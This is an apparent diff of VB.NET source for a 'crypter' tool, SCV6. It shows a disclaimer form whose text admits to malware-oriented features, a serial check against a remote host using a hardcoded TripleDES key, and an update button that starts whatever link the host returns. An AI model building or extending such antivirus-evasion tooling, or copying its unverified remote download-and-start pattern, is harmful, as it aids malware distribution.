Me.TextBox1.Text = "XXXX-XXXX-XXXX-XXXX"
Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center
'
'Label3
'
Me.Label3.AutoSize = True
Me.Label3.Location = New System.Drawing.Point(187, 360)
Me.Label3.Name = "Label3"
Me.Label3.Size = New System.Drawing.Size(74, 26)
Me.Label3.TabIndex = 6
Me.Label3.Text = "Serial Number" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "For the Week"
Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
'
'Label4
'
Me.Label4.AutoSize = True
Me.Label4.Location = New System.Drawing.Point(144, 399)
Me.Label4.Name = "Label4"
Me.Label4.Size = New System.Drawing.Size(107, 13)
Me.Label4.TabIndex = 7
Me.Label4.Text = "Latest Ver. Available: "
'
'Label5
'
Me.Label5.AutoSize = True
Me.Label5.Location = New System.Drawing.Point(257, 399)
Me.Label5.Name = "Label5"
Me.Label5.Size = New System.Drawing.Size(40, 13)
Me.Label5.TabIndex = 8
Me.Label5.Text = "6.0.0.0"
'
'MButton3
'
Me.MButton3.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.MButton3.ForeColor = System.Drawing.Color.Yellow
Me.MButton3.Location = New System.Drawing.Point(15, 389)
Me.MButton3.Name = "MButton3"
Me.MButton3.Size = New System.Drawing.Size(128, 23)
Me.MButton3.TabIndex = 9
Me.MButton3.Text = "UPDATE"
'
'Form2
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
Me.BackColor = System.Drawing.Color.Black
Me.ClientSize = New System.Drawing.Size(309, 426)
Me.Controls.Add(Me.MButton3)
Me.Controls.Add(Me.Label5)
Me.Controls.Add(Me.Label4)
Me.Controls.Add(Me.Label3)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.MButton2)
Me.Controls.Add(Me.MButton1)
Me.Controls.Add(Me.Label2)
Me.Controls.Add(Me.Label1)
Me.Controls.Add(Me.PictureBox1)
Me.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
Me.ForeColor = System.Drawing.Color.Yellow
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
Me.Name = "Form2"
Me.Opacity = 0.9
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
Me.Text = "Disclaimer"
CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents Label2 As System.Windows.Forms.Label
Friend WithEvents MButton1 As SCV6._0.MButton
Friend WithEvents MButton2 As SCV6._0.MButton
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
Friend WithEvents Label3 As System.Windows.Forms.Label
Friend WithEvents Label4 As System.Windows.Forms.Label
Friend WithEvents Label5 As System.Windows.Forms.Label
Friend WithEvents MButton3 As SCV6._0.MButton
End Class
@@ -0,0 +1,249 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="PictureBox1.BackgroundImage" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
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
Rk+jpzsx8H/Yg1eWWMGXFwAAAABJRU5ErkJggg==
</value>
</data>
<data name="Label1.Text" xml:space="preserve">
<value> The author of this crypter has the right to make decisions regarding termination of support because of irresponsibility of the user. This encryption tool was made for the protection of PE files under Win32 to prevent reverse engineers or crackers to decompile your program in an easy way. Features of the crypter that are designed to be in a malware is added not because this program should be used for malware; these features were added to experiment on how Anti Virus Engines can be developed. </value>
</data>
<data name="Label2.Text" xml:space="preserve">
<value> The author is NOT against any Anti Virus Companies and is NOT reponsible with the actions that the user will be doing. By clicking "AGREE", you are excluding the author from any trouble that you will get into, if not, please EXIT the program now.</value>
</data>
</root>
@@ -0,0 +1,81 @@
Imports System.Net
Imports System.Text
Imports System.Reflection
Public Class Form2
Private Sub MButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton1.Click
Dim Serial As String = Web.DownloadString("http://sikandarindustries.110mb.com/SerialNumber.txt")
If TextBox1.Text = Encryption_Algorithms.TripleDESdecrypt(Serial, "SwH3AKxdgjiVqicQ", True) Then
Me.Hide()
Form1.Show()
Else
MessageBox.Show("Incorrect Serial Number. Please Contact Sikandar.", "Incorrect Serial", MessageBoxButtons.OK, MessageBoxIcon.Information)
Exit Sub
End If
End Sub
Dim _P As New Point, _X, _Y As Integer
Private Sub MD1() Handles PictureBox1.MouseDown
_X = MousePosition.X - Location.X : _Y = MousePosition.Y - Location.Y
End Sub
Private Sub MM1(ByVal S, ByVal E) Handles PictureBox1.MouseMove
If E.Button = 1048576 Then : _P = MousePosition : _P.X -= _X : _P.Y -= _Y : Location = _P : End If
End Sub
Private Sub MButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton2.Click
Application.Exit()
End Sub
Dim Web As New System.Net.WebClient
Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MButton3.Enabled = False
Dim P = New Properties(Assembly.LoadFile(Application.ExecutablePath))
Dim CrypterVersion As String = Web.DownloadString("http://sikandarindustries.110mb.com/Version.txt")
Label5.Text = CrypterVersion
Dim AppVersion As String = P.Version.ToString
If Not AppVersion = Label5.Text Then
MButton3.Enabled = True
End If
End Sub
Structure Properties
Dim Title, Description, Company, Product, Copyright, Trademark As String, Version, FileVersion As Version
Private H As Assembly
Sub New(ByVal assembly As Reflection.Assembly)
H = assembly
Title = Search(Of AssemblyTitleAttribute)().Title
Description = Search(Of AssemblyDescriptionAttribute)().Description
Company = Search(Of AssemblyCompanyAttribute)().Company
Product = Search(Of AssemblyProductAttribute)().Product
Copyright = Search(Of AssemblyCopyrightAttribute)().Copyright
Trademark = Search(Of AssemblyTrademarkAttribute)().Trademark
Version = New Version(assembly.GetName.Version.ToString)
Dim T = Search(Of AssemblyFileVersionAttribute)()
FileVersion = New Version(If(T Is Nothing, "0.0.0.0", T.Version))
End Sub
Private Function Search(Of T)() As T
Try
Return H.GetCustomAttributes(GetType(T), 0)(0)
Catch : End Try
End Function
Public Overrides Function ToString() As String
Dim S As New StringBuilder, B = "<Assembly: Assembly", E = """)>"
If Title <> "" Then S.AppendLine(B & "Title(""" & Title & E)
If Description <> "" Then S.AppendLine(B & "Description(""" & Description & E)
If Company <> "" Then S.AppendLine(B & "Company(""" & Company & E)
If Product <> "" Then S.AppendLine(B & "Product(""" & Product & E)
If Copyright <> "" Then S.AppendLine(B & "Copyright(""" & Copyright & E)
If Trademark <> "" Then S.AppendLine(B & "Trademark(""" & Trademark & E)
If Version.ToString <> "0.0.0.0" Then S.AppendLine(B & "Version(""" & Version.ToString & E)
If FileVersion.ToString <> "0.0.0.0" Then S.AppendLine(B & "FileVersion(""" & FileVersion.ToString & E)
Return S.ToString
End Function
End Structure
Private Sub MButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton3.Click
Try
Process.Start(Web.DownloadString("http://sikandarindustries.110mb.com/DownloadLink.txt"))
Catch ex As Exception
End Try
End Sub
End Class
Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

@@ -0,0 +1,38 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
